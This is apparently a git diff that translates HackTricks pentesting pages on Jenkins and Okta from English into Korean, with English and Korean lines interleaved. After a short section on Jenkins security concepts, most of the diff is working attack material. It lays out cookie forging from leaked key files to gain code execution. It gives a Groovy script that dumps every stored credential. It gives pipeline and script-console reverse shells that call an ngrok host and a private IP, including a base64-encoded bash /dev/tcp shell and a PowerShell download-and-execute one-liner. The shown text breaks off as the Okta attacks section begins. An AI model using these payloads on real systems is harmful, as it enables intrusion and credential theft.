- **행렬 기반 보안**: **누가 무엇을 할 수 있는지**를 표로 구성할 수 있습니다. 각 **열**은 **권한**을 나타냅니다. 각 **행**은 **사용자 또는 그룹/역할**을 **나타냅니다**. 여기에는 **인증되지 않은 사용자**를 나타내는 특별한 사용자 '**익명**'과 **모든 인증된 사용자**를 나타내는 '**인증된**'이 포함됩니다.
![](<../../images/image (149).png>)
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
- **프로젝트 기반 행렬 권한 부여 전략:** 이 모드는 **각 프로젝트에 대해 별도로 추가 ACL 행렬을 정의할 수 있는** "**행렬 기반 보안**"의 확장입니다.
- **역할 기반 전략:** **역할 기반 전략**을 사용하여 권한을 정의할 수 있습니다. `/role-strategy`에서 역할을 관리합니다.
## **Security Realm**
## **보안 영역**
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
`/configureSecurity`에서 **보안 영역을 구성할 수 있습니다**. 기본적으로 Jenkins는 몇 가지 다른 보안 영역에 대한 지원을 포함합니다:
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Use **Jenkinss own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
- **서블릿 컨테이너에 위임**: **Jenkins 컨트롤러를 실행하는 서블릿 컨테이너에 대한 인증을 위임**합니다. 예: [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins의 자체 사용자 데이터베이스:** 외부 시스템에 위임하는 대신 **Jenkins의 내장 사용자 데이터 저장소**를 사용하여 인증합니다. 기본적으로 활성화되어 있습니다.
- **LDAP**: 구성된 LDAP 서버에 모든 인증을 위임하며, 사용자와 그룹 모두 포함됩니다.
- **Unix 사용자/그룹 데이터베이스**: **Jenkins 컨트롤러의 기본 Unix** OS 수준 사용자 데이터베이스에 인증을 위임합니다. 이 모드는 권한 부여를 위해 Unix 그룹을 재사용할 수 있도록 합니다.
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
플러그인은 Jenkins를 기존 신원 시스템에 통합하는 데 유용할 수 있는 추가 보안 영역을 제공할 수 있습니다:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [GitHub 인증](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkins Nodes, Agents & Executors
## Jenkins 노드, 에이전트 및 실행기
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
[문서](https://www.jenkins.io/doc/book/managing/nodes/)에서 정의:
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
**노드**는 **빌드 에이전트가 실행되는 머신**입니다. Jenkins는 각 연결된 노드의 디스크 공간, 여유 임시 공간, 여유 스왑, 시계 시간/동기화 및 응답 시간을 모니터링합니다. 이러한 값 중 하나라도 구성된 임계값을 초과하면 노드는 오프라인 상태가 됩니다.
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
**에이전트**는 **실행기**를 사용하여 Jenkins 컨트롤러를 대신하여 **작업 실행**을 **관리**합니다. 에이전트는 Java를 지원하는 모든 운영 체제를 사용할 수 있습니다. 빌드 및 테스트에 필요한 도구는 에이전트가 실행되는 노드에 설치되며, **직접 설치하거나 컨테이너**(Docker 또는 Kubernetes)에서 설치할 수 있습니다. 각 **에이전트는 호스트 머신에서 고유한 PID를 가진 프로세스**입니다.
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
**실행기**는 **작업 실행을 위한 슬롯**입니다. 본질적으로, 이는 **에이전트의 스레드**입니다. 노드의 **실행기 수**는 해당 노드에서 동시에 실행할 수 있는 **동시 작업 수**를 정의합니다. 즉, 이는 해당 노드에서 동시에 실행할 수 있는 **동시 파이프라인 `단계` 수**를 결정합니다.
## Jenkins Secrets
## Jenkins 비밀
### Encryption of Secrets and Credentials
### 비밀 및 자격 증명의 암호화
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
[문서](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)에서 정의: Jenkins **AES를 사용하여 비밀**, 자격 증명 및 해당 암호화 키를 보호합니다. 이러한 암호화 키는 `$JENKINS_HOME/secrets/`에 저장되며, 해당 키를 보호하는 데 사용되는 마스터 키와 함께 저장됩니다. 이 디렉토리는 Jenkins 컨트롤러가 실행되는 운영 체제 사용자만 읽기 및 쓰기 접근을 가질 수 있도록 구성해야 합니다(즉, `chmod` 값이 `0700`이거나 적절한 파일 속성을 사용). **마스터 키**(때때로 암호 용어에서 "키 암호화 키"라고도 함)는 **Jenkins 컨트롤러 파일 시스템에 \_암호화되지 않은 상태로 저장됩니다** **`$JENKINS_HOME/secrets/master.key`**에 저장되어 있으며, 이는 해당 파일에 직접 접근할 수 있는 공격자에 대한 보호를 제공하지 않습니다. 대부분의 사용자와 개발자는 [Secret](https://javadoc.jenkins.io/byShortName/Secret) API를 통해 일반 비밀 데이터를 암호화하거나 자격 증명 API를 통해 이러한 암호화 키를 간접적으로 사용합니다. 암호화에 관심이 있는 사람들을 위해, Jenkins는 AES를 암호 블록 체인(CBC) 모드와 PKCS#5 패딩 및 무작위 IV를 사용하여 [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) 인스턴스를 암호화하며, 이는 `$JENKINS_HOME/secrets/`에 해당 `CryptoConfidentialKey` ID에 해당하는 파일 이름으로 저장됩니다. 일반적인 키 ID는 다음과 같습니다:
- `hudson.util.Secret`: used for generic secrets;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
- `hudson.util.Secret`: 일반 비밀에 사용됩니다.
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: 일부 자격 증명 유형에 사용됩니다.
- `jenkins.model.Jenkins.crumbSalt`: [CSRF 보호 메커니즘](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)에서 사용됩니다.
### Credentials Access
### 자격 증명 접근
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
자격 증명은 **전역 제공자**(`credentials/`)에 범위가 지정될 수 있으며, 이는 구성된 모든 프로젝트에서 접근할 수 있습니다. 또는 **특정 프로젝트**(`job/<project-name>/configure`)에 범위가 지정되어 해당 특정 프로젝트에서만 접근할 수 있습니다.
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
[**문서**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)에 따르면: 범위 내에 있는 자격 증명은 제한 없이 파이프라인에 제공됩니다. **빌드 로그에서 우발적인 노출을 방지하기 위해**, 자격 증명은 일반 출력에서 **마스킹**되므로 `env`(Linux) 또는 `set`(Windows) 호출이나 환경 또는 매개변수를 인쇄하는 프로그램이 **빌드 로그에서 자격 증명을 노출하지 않습니다**.
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
**그래서 자격 증명을 유출하기 위해 공격자는 예를 들어, base64로 인코딩해야 합니다.**
## References
## 참조
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,6 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
이 블로그 게시물에서는 Jenkins의 Local File Inclusion 취약점을 RCE로 변환하는 훌륭한 방법을 찾을 수 있습니다: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
이것은 임의의 쿠키를 악용하여 RCE를 얻는 방법에 대한 게시물의 요약입니다. 제가 직접 요약을 작성할 시간이 생길 때까지 사용됩니다:
### Attack Prerequisites
- **Feature Requirement:** "Remember me" must be enabled (default setting).
- **Access Levels:** Attacker needs Overall/Read permissions.
- **Secret Access:** Ability to read both binary and textual content from key files.
- **Feature Requirement:** "Remember me"가 활성화되어 있어야 합니다 (기본 설정).
- **Access Levels:** 공격자는 Overall/Read 권한이 필요합니다.
- **Secret Access:** 주요 파일에서 이진 및 텍스트 콘텐츠를 읽을 수 있는 능력.
### Detailed Exploitation Process
@@ -18,91 +18,88 @@ This is an AI created summary of the part of the post were the creaft of an arbi
**User Information Retrieval**
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**
- 각 사용자에 대한 `$JENKINS_HOME/users/*.xml`에서 사용자 구성 및 비밀을 액세스하여 수집합니다:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**
**Secret Key Extraction**
- Extract cryptographic keys used for signing the cookie:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
- 쿠키 서명에 사용되는 암호화 키를 추출합니다:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
#### Step 2: Cookie Forging
**Token Preparation**
- **Calculate Token Expiry Time:**
- **토큰 만료 시간 계산:**
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
```
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 현재 시간에 1시간 추가
```
- **Concatenate Data for Token:**
- **토큰을 위한 데이터 연결:**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
**MAC Key Decryption**
- **Decrypt MAC Key File:**
- **MAC 키 파일 복호화:**
```javascript
key = toAes128Key(masterKey) // Convert master key to AES128 key format
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
```javascript
key = toAes128Key(masterKey) // 마스터 키를 AES128 키 형식으로 변환
decrypted = AES.decrypt(macFile, key) // .mac 파일 복호화
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
**Signature Computation**
- **Compute HMAC SHA256:**
- **HMAC SHA256 계산:**
```javascript
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
```
```javascript
mac = HmacSHA256(token, macKey) // 토큰과 MAC 키를 사용하여 HMAC 계산
tokenSignature = bytesToHexString(mac) // MAC을 16진수 문자열로 변환
```
**Cookie Encoding**
- **Generate Final Cookie:**
- **최종 쿠키 생성:**
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 encode the cookie data
```
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // 쿠키 데이터를 Base64로 인코딩
```
#### Step 3: Code Execution
**Session Authentication**
- **Fetch CSRF and Session Tokens:**
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
- **CSRF 및 세션 토큰 가져오기:**
- `/crumbIssuer/api/json`에 요청을 보내 `Jenkins-Crumb`를 얻습니다.
- 응답에서 `JSESSIONID`를 캡처하여 remember-me 쿠키와 함께 사용합니다.
**Command Execution Request**
- **Send a POST Request with Groovy Script:**
- **Groovy 스크립트로 POST 요청 보내기:**
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
- Groovy 스크립트는 시스템 수준의 명령이나 Jenkins 환경 내에서 다른 작업을 실행하는 데 사용할 수 있습니다.
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
제공된 curl 명령 예시는 임의의 코드를 안전하게 실행하기 위해 필요한 헤더와 쿠키로 Jenkins에 요청하는 방법을 보여줍니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -3,10 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
> 이 스크립트는 `credentials.xml` 파일 내의 비밀만 나열하지만, **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다.
이 코드를 실행하여 `/script`에서 **Groovy Script 콘솔의 모든 비밀을 덤프할 수 있습니다**.
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -42,51 +41,45 @@ showRow("something else", it.id, '', '', '')
return
```
#### or this one:
#### 또는 이 경우:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class
com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,41 +2,36 @@
{{#include ../../banners/hacktricks-training.md}}
## Creating a new Pipeline
## 새로운 파이프라인 만들기
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
"New Item"에서 (`/view/all/newJob`에서 접근 가능) **Pipeline**을 선택합니다:
![](<../../images/image (235).png>)
In the **Pipeline section** write the **reverse shell**:
**Pipeline 섹션**에 **reverse shell**을 작성합니다:
![](<../../images/image (285).png>)
```groovy
pipeline {
agent any
agent any
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}
```
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
마지막으로 **Save**를 클릭하고 **Build Now**를 클릭하면 파이프라인이 실행됩니다:
![](<../../images/image (228).png>)
## Modifying a Pipeline
## 파이프라인 수정
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
구성된 일부 파이프라인의 구성 파일에 접근할 수 있다면, **리버스 셸을 추가하여 수정**한 다음 실행하거나 실행될 때까지 기다릴 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,36 +4,33 @@
## Creating a Project
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
이 방법은 새로운 프로젝트를 만들어야 하기 때문에 매우 시끄럽습니다 (명백히 사용자가 새로운 프로젝트를 만들 수 있는 경우에만 작동합니다).
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
3. Click **Build now**
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
1. **새 프로젝트 만들기** (Freestyle project) "New Item"을 클릭하거나 `/view/all/newJob`에서 클릭합니다.
2. **Build** 섹션에서 **Execute shell**을 설정하고 powershell Empire launcher 또는 meterpreter powershell을 붙여넣습니다 (이는 _unicorn_을 사용하여 얻을 수 있습니다). _powershell._ 대신 _PowerShell.exe_로 페이로드를 시작합니다.
3. **Build now**를 클릭합니다.
1. **Build now** 버튼이 나타나지 않으면 여전히 **configure** --> **Build Triggers** --> `Build periodically`로 이동하여 `* * * * *`의 크론을 설정할 수 있습니다.
2. 크론을 사용하는 대신 "**Trigger builds remotely**" 구성을 사용할 수 있으며, 여기서는 작업을 트리거하기 위해 API 토큰 이름을 설정하기만 하면 됩니다. 그런 다음 사용자 프로필로 이동하여 **API 토큰 생성**을 클릭합니다 (이 API 토큰을 작업을 트리거하기 위해 호출한 API 토큰이라고 부릅니다). 마지막으로 다음과 같이 작업을 트리거합니다: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
![](<../../images/image (165).png>)
## Modifying a Project
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
프로젝트로 이동하여 **구성할 수 있는지 확인**합니다 ( "Configure button"을 찾으세요):
![](<../../images/image (265).png>)
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
**구성** **버튼**이 보이지 않으면 아마도 **구성할 수 없습니다** (하지만 모든 프로젝트를 확인하세요. 일부는 구성할 수 있고 다른 것은 구성할 수 있을 수 있습니다).
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
또는 각 프로젝트에서 `/job/<proj-name>/configure` 또는 `/me/my-views/view/all/job/<proj-name>/configure` 경로에 **접근해 보세요** (예: `/job/Project0/configure` 또는 `/me/my-views/view/all/job/Project0/configure`).
## Execution
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
프로젝트를 구성할 수 있는 경우 **빌드가 성공할 때 명령을 실행하도록 설정할 수 있습니다**:
![](<../../images/image (98).png>)
Click on **Save** and **build** the project and your **command will be executed**.\
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
**Save**를 클릭하고 프로젝트를 **빌드**하면 **명령이 실행됩니다**.\
리버스 셸을 실행하지 않고 간단한 명령을 실행하는 경우 **빌드의 출력 내에서 명령의 출력을 볼 수 있습니다**.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,24 +4,21 @@
## Jenkins RCE with Groovy Script
This is less noisy than creating a new project in Jenkins
1. Go to _path_jenkins/script_
2. Inside the text box introduce the script
이것은 Jenkins에서 새 프로젝트를 만드는 것보다 덜 시끄럽습니다.
1. _path_jenkins/script_로 이동합니다.
2. 텍스트 상자에 스크립트를 입력합니다.
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
다음과 같이 명령을 실행할 수 있습니다: `cmd.exe /c dir`
You could execute a command using: `cmd.exe /c dir`
**리눅스**에서는 다음과 같이 할 수 있습니다: **`"ls /".execute().text`**
In **linux** you can do: **`"ls /".execute().text`**
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
**Another useful groovy script** is (replace \[INSERT COMMAND]):
텍스트 안에 _따옴표_와 _단일 따옴표_를 사용해야 하는 경우, _"""PAYLOAD"""_ (세 개의 큰따옴표)를 사용하여 페이로드를 실행할 수 있습니다.
**또 다른 유용한 groovy 스크립트**는 (여기서 \[INSERT COMMAND]를 교체하세요):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell in linux
### 리버스 셸 in linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -39,28 +34,20 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### 윈도우에서의 리버스 셸
### Reverse shell in windows
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
PS 리버스 셸로 HTTP 서버를 준비하고 Jeking을 사용하여 다운로드하고 실행할 수 있습니다:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### 스크립트
### Script
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
You can use MSF to get a reverse shell:
이 프로세스는 [**이 스크립트**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)를 사용하여 자동화할 수 있습니다.
MSF를 사용하여 리버스 셸을 얻을 수 있습니다:
```
msf> use exploit/multi/http/jenkins_script_console
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,103 +4,103 @@
## Basic Information
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
[Okta, Inc.](https://www.okta.com/)는 클라우드 기반 소프트웨어 솔루션으로 신원 및 접근 관리 분야에서 인정받고 있습니다. 이러한 솔루션은 다양한 현대 애플리케이션에서 사용자 인증을 간소화하고 안전하게 설계되었습니다. 이들은 민감한 데이터를 보호하려는 기업뿐만 아니라 애플리케이션, 웹 서비스 및 장치에 신원 제어를 통합하려는 개발자에게도 유용합니다.
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다음과 같은 제품군을 포함합니다:
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
- **Universal Directory**: Enables centralized management of users, groups, and devices.
- **API Access Management**: Secures and manages access to APIs.
- **Single Sign-On (SSO)**: 여러 애플리케이션에서 하나의 로그인 자격 증명을 사용하여 사용자 접근을 간소화합니다.
- **Multi-Factor Authentication (MFA)**: 여러 형태의 인증을 요구하여 보안을 강화합니다.
- **Lifecycle Management**: 사용자 계정 생성, 업데이트 및 비활성화 프로세스를 자동화합니다.
- **Universal Directory**: 사용자, 그룹 및 장치의 중앙 관리를 가능하게 합니다.
- **API Access Management**: API에 대한 접근을 보호하고 관리합니다.
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
이 서비스들은 데이터 보호를 강화하고 사용자 접근을 간소화하여 보안과 편의성을 모두 향상시키는 것을 목표로 합니다. Okta의 솔루션의 다재다능함은 다양한 산업에서 인기를 끌게 하며, 대기업, 중소기업 및 개인 개발자 모두에게 유익합니다. 2021년 9월 마지막 업데이트 기준으로 Okta는 신원 및 접근 관리(IAM) 분야에서 저명한 기업으로 인정받고 있습니다.
> [!CAUTION]
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
> Okta의 주요 목표는 외부 애플리케이션에 대한 다양한 사용자 및 그룹의 접근을 구성하는 것입니다. 만약 **Okta 환경에서 관리자 권한을 탈취**하게 된다면, 회사가 사용하는 **모든 다른 플랫폼을 탈취할 가능성이 매우 높습니다**.
> [!TIP]
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
> Okta 환경의 보안 검토를 수행하려면 **관리자 읽기 전용 접근**을 요청해야 합니다.
### Summary
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
These users can be inside **groups**.\
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
**사용자**가 있습니다 (이들은 **Okta에 저장되거나, 구성된 **Identity Providers**에서 로그인하거나, **Active Directory** 또는 LDAP를 통해 인증될 수 있습니다).\
이 사용자들은 **그룹**에 속할 수 있습니다.\
또한 **인증자**가 있습니다: 비밀번호와 WebAuthn, 이메일, 전화, Okta Verify와 같은 여러 2FA 옵션이 있습니다 (이들은 활성화되거나 비활성화될 수 있습니다)...
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
그런 다음, Okta와 동기화된 **애플리케이션**이 있습니다. 각 애플리케이션은 정보를 공유하기 위해 Okta와 일부 **매핑**을 가집니다 (예: 이메일 주소, 이름 등). 또한 각 애플리케이션은 사용자가 애플리케이션에 **접근**하기 위해 필요한 **인증자**를 나타내는 **인증 정책**에 포함되어야 합니다.
> [!CAUTION]
> The most powerful role is **Super Administrator**.
> 가장 강력한 역할은 **Super Administrator**입니다.
>
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
> 공격자가 관리자 접근으로 Okta를 탈취하면, **Okta를 신뢰하는 모든 앱이 매우 높은 확률로 탈취될 것입니다**.
## Attacks
### Locating Okta Portal
